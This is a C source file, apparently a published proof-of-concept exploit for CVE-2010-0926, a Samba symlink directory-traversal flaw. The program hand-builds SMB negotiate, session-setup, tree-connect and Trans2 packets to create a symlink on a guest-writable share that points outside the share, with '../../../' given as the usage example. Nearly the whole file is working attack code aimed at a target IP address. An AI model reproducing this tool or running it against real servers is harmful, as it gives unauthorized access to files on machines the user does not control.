/* Exploits CVE-2010-0926, Samba symlink directory traversal. This is a crude hack of the network protocol for creating a symlink through CIFS. Verified on a Samba 3.0.24 server writable share with guest credentials. */ #include #include #include #include #include #include #include #include #define buf_size 4000 #define ipc "\\IPC$" #define service "?????" // offsets marked (var) calculated at runtime. unsigned char negotiate_protocol[] = { 0x00, // session message 0x00, 0x00, 0x32, // message length 0xff, 0x53, 0x4d, 0x42, // SMB 0x72, // negotiate 0x00, // success 0x00, // reserved 0x00, 0x00, // success 0x18, // canonicalize path, no case 0x01, 0x28, // XORD, ext sec, long names 0x00, 0x00, // PID hi 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 0x00, 0x00, // reserved 0x00, 0x00, // tree ID 0x00, 0x00, // PID lo (var) 30 0x00, 0x00, // user ID 0x00, 0x00, // multiplex ID (var) 34 0x00, // word count 0x0f, 0x00, // byte count 0x02, // dialect 0x4e, 0x54, 0x20, 0x4c, 0x41, 0x4e, 0x4d, // NT LANMAN 1.0 0x41, 0x4e, 0x20, 0x31, 0x2e, 0x30, 0x00 // NT LANMAN 1.0 }; unsigned char session_setup[] = { 0x00, // session message 0x00, 0x00, 0x63, // message length 0xff, 0x53, 0x4d, 0x42, // SMB 0x73, // session setup 0x00, // success 0x00, // reserved 0x00, 0x00, // success 0x18, // canonicalize path, no case 0x01, 0x20, // XORD, long names 0x00, 0x00, // PID hi 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 0x00, 0x00, // reserved 0x00, 0x00, // tree ID 0x00, 0x00, // PID lo (var) 30 0x00, 0x00, // user ID 0x00, 0x00, // multiplex ID (var) 34 0x0d, // word count 0xff, // AndX no further 0x00, // reserved 0x00, 0x00, // AndX offset 0xdc, 0xff, // max buffer 65500 0x02, 0x00, // max mux count 0x01, 0x00, // vc number 0x00, 0x00, 0x00, 0x00, // session key (var) 47 0x00, 0x00, // password length 8 0x00, 0x00, // password length 16 0x00, 0x00, 0x00, 0x00, // reserved 0x40, 0x00, 0x00, 0x00, // capabilities 0x26, 0x00, // byte count 0x00, // account 0x2e, 0x00, // domain 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, // OS 0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39, // OS 0x35, 0x00, // OS 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, // OS 0x32, 0x30, 0x30, 0x30, 0x20, 0x35, 0x2e, 0x30, // OS 0x00 // OS }; unsigned char tree_ipc[] = { 0x00, // session message 0x00, 0x00, 0x00, // message length (var) 3 0xff, 0x53, 0x4d, 0x42, // SMB 0x75, // AndX tree connect 0x00, // success 0x00, // reserved 0x00, 0x00, // success 0x18, // canonicalize path, no case 0x01, 0x28, // XORD, ext sec, long name 0x00, 0x00, // PID hi 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 0x00, 0x00, // reserved 0x00, 0x00, // tree ID 0x00, 0x00, // PID lo (var) 30 0x00, 0x00, // user ID 0x00, 0x00, // multiplex ID (var) 34 0x04, // word count 0xff, // AndX no further 0x00, // reserved 0x00, 0x00, // AndX offset 0x00, 0x00, // flags 0x01, 0x00, // password length 0x00, 0x00, // byte count (var) 45 0x00 // password }; unsigned char tree_share[] = { 0x00, // session message 0x00, 0x00, 0x00, // message length (var) 3 0xff, 0x53, 0x4d, 0x42, // SMB 0x75, // AndX tree connect 0x00, // success 0x00, // reserved 0x00, 0x00, // success 0x18, // canonicalize path, no case 0x01, 0x28, // XORD, ext sec, long name 0x00, 0x00, // PID hi 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 0x00, 0x00, // reserved 0x00, 0x00, // tree ID 0x00, 0x00, // PID lo (var) 30 0x00, 0x00, // user ID 0x00, 0x00, // multiplex ID (var) 34 0x04, // word count 0xff, // AndX no further 0x00, // reserved 0x00, 0x00, // AndX offset 0x00, 0x00, // flags 0x01, 0x00, // password length 0x00, 0x00, // byte count (var) 45 0x00 // password }; unsigned char trans2_link[] = { 0x00, // session message 0x00, 0x00, 0x00, // message length (var) 3 0xff, 0x53, 0x4d, 0x42, // SMB 0x32, // Trans2 0x00, // success 0x00, // reserved 0x00, 0x00, // success 0x18, // canonicalize path, no case 0x01, 0x28, // XORD, ext sec, long name 0x00, 0x00, // PID hi 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // signature 0x00, 0x00, // reserved 0x00, 0x00, // tree ID (var) 28 0x00, 0x00, // PID lo (var) 30 0x00, 0x00, // user ID 0x00, 0x00, // multiplex ID (var) 34 0x0f, // word count 0x00, 0x00, // parameter count (var) 37 0x00, 0x00, // total data count (var) 39 0x00, 0x04, // max parameter count 0xe8, 0xfd, // max data count 0x00, // max setup count 0x00, // reserved 0x00, 0x00, // flags 0x00, 0x00, 0x00, 0x00, // timeout 0x00, 0x00, // reserved 0x00, 0x00, // parameter count (var) 55 0x41, 0x00, // parameter offset 0x00, 0x00, // data count (var) 59 0x00, 0x00, // data offset (var) 61 0x01, // setup count 0x00, // reserved 0x06, 0x00, // set path info 0x00, 0x00, // byte count (var) 67 0x01, 0x02, // set unix link 0x00, 0x00, 0x00, 0x00 // reserved }; int usage(char *s); int main(int argc, char **argv) { int sock, ret; unsigned int skey; struct sockaddr_in victim; char buf[buf_size], temp[buf_size]; char challenge[8]; short pidlo, muxid, tid; if(argc != 5) { usage(argv[0]); return -1; } if(strlen(argv[1]) > 15 || strlen(argv[2]) > 20 || strlen(argv[3]) > 20 || strlen(argv[4]) > 80) { fprintf(stderr, "parameter length error.\n"); return -1; } srand(time(NULL)); sock = socket(AF_INET, SOCK_STREAM, 0); if(sock == -1) { fprintf(stderr, "socket creation failed.\n"); return -1; } victim.sin_addr.s_addr = inet_addr(argv[1]); victim.sin_family = AF_INET; victim.sin_port = htons(445); if(connect(sock, (struct sockaddr *)&victim, sizeof(victim)) < 0) { fprintf(stderr, "failed to connect to %s.\n", argv[1]); return -1; } pidlo = (short)rand(); muxid = (short)rand(); *((short *)&negotiate_protocol[30]) = pidlo; *((short *)&negotiate_protocol[34]) = muxid; if(send(sock, negotiate_protocol, sizeof(negotiate_protocol), 0) < 0) { fprintf(stderr, "failed to send negotiation.\n"); close(sock); return -1; } if((ret = recv(sock, buf, buf_size, 0)) < 0) { fprintf(stderr, "failed to receive negotiation.\n"); close(sock); return -1; } if(ret < 81) { fprintf(stderr, "receive negotiation too short.\n"); close(sock); return -1; } if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x72 && *((int *)&buf[9]) != 0 && !(buf[13] & 0x80) && *((short *)&buf[16]) != 0 && *((int *)&buf[18]) != 0 && *((int *)&buf[22]) != 0 && *((short *)&buf[28]) != 0 && *((short *)&buf[30]) != pidlo && *((short *)&buf[32]) != 0 && *((short *)&buf[34]) != muxid && *((short *)&buf[37]) != 0 && buf[39] != 0x02 && !(*(unsigned int *)&buf[56] & 0x00800070) && buf[70] != 8) { fprintf(stderr, "receive negotiation parse error.\n"); close(sock); return -1; } memcpy(challenge, &buf[73], 8); skey = *(unsigned int *)&buf[52]; *((short *)&session_setup[30]) = pidlo; *((short *)&session_setup[34]) = muxid; *((short *)&session_setup[47]) = skey; if(send(sock, session_setup, sizeof(session_setup), 0) < 0) { fprintf(stderr, "failed to send setup.\n"); close(sock); return -1; } if((ret = recv(sock, buf, buf_size, 0)) < 0) { fprintf(stderr, "failed to receive setup.\n"); close(sock); return -1; } if(ret < 43) { fprintf(stderr, "receive setup too short.\n"); close(sock); return -1; } if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x73 && *((int *)&buf[9]) != 0 && !(buf[13] & 0x80) && *((short *)&buf[16]) != 0 && *((int *)&buf[18]) != 0 && *((int *)&buf[22]) != 0 && *((short *)&buf[28]) != 0 && *((short *)&buf[30]) != pidlo && *((short *)&buf[32]) != 0 && *((short *)&buf[34]) != muxid && buf[37] != 0xff && buf[38] != 0 && *((short *)&buf[39]) != 0 && *((short *)&buf[41]) != 0) { fprintf(stderr, "receive setup parse error.\n"); close(sock); return -1; } *((short *)&tree_ipc[30]) = pidlo; *((short *)&tree_ipc[34]) = muxid; *((short *)&tree_ipc[45]) = (short)(1 + 2 + strlen(argv[1]) + strlen(ipc) + 1 + strlen(service) + 1); tree_ipc[3] = (unsigned char)(43 + *((short *)&tree_ipc[45])); sprintf(temp, "\\\\%s%s", argv[1], ipc); memcpy(buf, tree_ipc, sizeof(tree_ipc)); memcpy(buf + sizeof(tree_ipc), temp, strlen(temp) + 1); memcpy(buf + sizeof(tree_ipc) + strlen(temp) + 1, service, strlen(service) + 1); if(send(sock, buf, sizeof(tree_ipc) + strlen(temp) + 1 + strlen(service) + 1, 0) < 0) { fprintf(stderr, "failed to send tree ipc.\n"); close(sock); return -1; } if((ret = recv(sock, buf, buf_size, 0)) < 0) { fprintf(stderr, "failed to receive tree ipc.\n"); close(sock); return -1; } if(ret < 36) { fprintf(stderr, "receive tree ipc too short.\n"); close(sock); return -1; } if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x75 && *((int *)&buf[9]) != 0 && !(buf[13] & 0x80) && *((short *)&buf[16]) != 0 && *((int *)&buf[18]) != 0 && *((int *)&buf[22]) != 0 && *((short *)&buf[26]) != 0 && *((short *)&buf[30]) != pidlo && *((short *)&buf[32]) != 0 && *((short *)&buf[34]) != muxid) { fprintf(stderr, "receive tree ipc parse error.\n"); close(sock); return -1; } *((short *)&tree_share[30]) = pidlo; *((short *)&tree_share[34]) = muxid; *((short *)&tree_share[45]) = (short)(1 + 2 + strlen(argv[1]) + 1 + strlen(argv[2]) + 1 + strlen(service) + 1); tree_share[3] = (unsigned char)(43 + *((short *)&tree_share[45])); sprintf(temp, "\\\\%s\\%s", argv[1], argv[2]); memcpy(buf, tree_share, sizeof(tree_share)); memcpy(buf + sizeof(tree_share), temp, strlen(temp) + 1); memcpy(buf + sizeof(tree_share) + strlen(temp) + 1, service, strlen(service) + 1); if(send(sock, buf, sizeof(tree_share) + strlen(temp) + 1 + strlen(service) + 1, 0) < 0) { fprintf(stderr, "failed to send tree share.\n"); close(sock); return -1; } if((ret = recv(sock, buf, buf_size, 0)) < 0) { fprintf(stderr, "failed to receive tree share.\n"); close(sock); return -1; } if(ret < 36) { fprintf(stderr, "receive tree share too short.\n"); close(sock); return -1; } if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x75 && *((int *)&buf[9]) != 0 && !(buf[13] & 0x80) && *((short *)&buf[16]) != 0 && *((int *)&buf[18]) != 0 && *((int *)&buf[22]) != 0 && *((short *)&buf[26]) != 0 && *((short *)&buf[30]) != pidlo && *((short *)&buf[32]) != 0 && *((short *)&buf[34]) != muxid) { fprintf(stderr, "receive tree share parse error.\n"); close(sock); return -1; } tid = *((short *)&buf[28]); *((short *)&trans2_link[28]) = tid; *((short *)&trans2_link[30]) = pidlo; *((short *)&trans2_link[34]) = muxid; *((short *)&trans2_link[37]) = (short)(2 + 4 + strlen(argv[3]) + 1); *((short *)&trans2_link[39]) = (short)(strlen(argv[4]) + 1); *((short *)&trans2_link[55]) = (short)(2 + 4 + strlen(argv[3]) + 1); *((short *)&trans2_link[59]) = (short)(strlen(argv[4]) + 1); *((short *)&trans2_link[61]) = (short)(65 + 2 + 4 + strlen(argv[3]) + 1); *((short *)&trans2_link[67]) = (short)(2 + 4 + strlen(argv[3]) + 1 + strlen(argv[4]) + 1); trans2_link[3] = (unsigned char)(71 + strlen(argv[3]) + 1 + strlen(argv[4]) + 1); memcpy(buf, trans2_link, sizeof(trans2_link)); memcpy(buf + sizeof(trans2_link), argv[3], strlen(argv[3]) + 1); memcpy(buf + sizeof(trans2_link) + strlen(argv[3]) + 1, argv[4], strlen(argv[4]) + 1); if(send(sock, buf, sizeof(trans2_link) + strlen(argv[3]) + 1 + strlen(argv[4]) + 1, 0) < 0) { fprintf(stderr, "failed to send trans2 link.\n"); close(sock); return -1; } if((ret = recv(sock, buf, buf_size, 0)) < 0) { fprintf(stderr, "failed to receive trans2 link.\n"); close(sock); return -1; } if(ret < 13) { fprintf(stderr, "receive trans2 link too short.\n"); close(sock); return -1; } if(buf[0] != 0 && *((int *)&buf[4]) != 0x424d53ff && buf[8] != 0x32 && *((int *)&buf[9])) { fprintf(stderr, "receive trans2 link parse error.\n"); close(sock); return -1; } printf("Attempt to access %s through symlink %s from Windows or smbclient.\n", argv[4], argv[3]); close(sock); return 0; } int usage(char *s) { fprintf(stderr, "%s \n", s); fprintf(stderr, " The IP address of the target system, e.g. 192.168.10.11\n"); fprintf(stderr, " The writable share name, e.g. 'My Folder'\n"); fprintf(stderr, " The new link, e.g. rootdir\n"); fprintf(stderr, " The existing file, e.g. ../../../\n"); }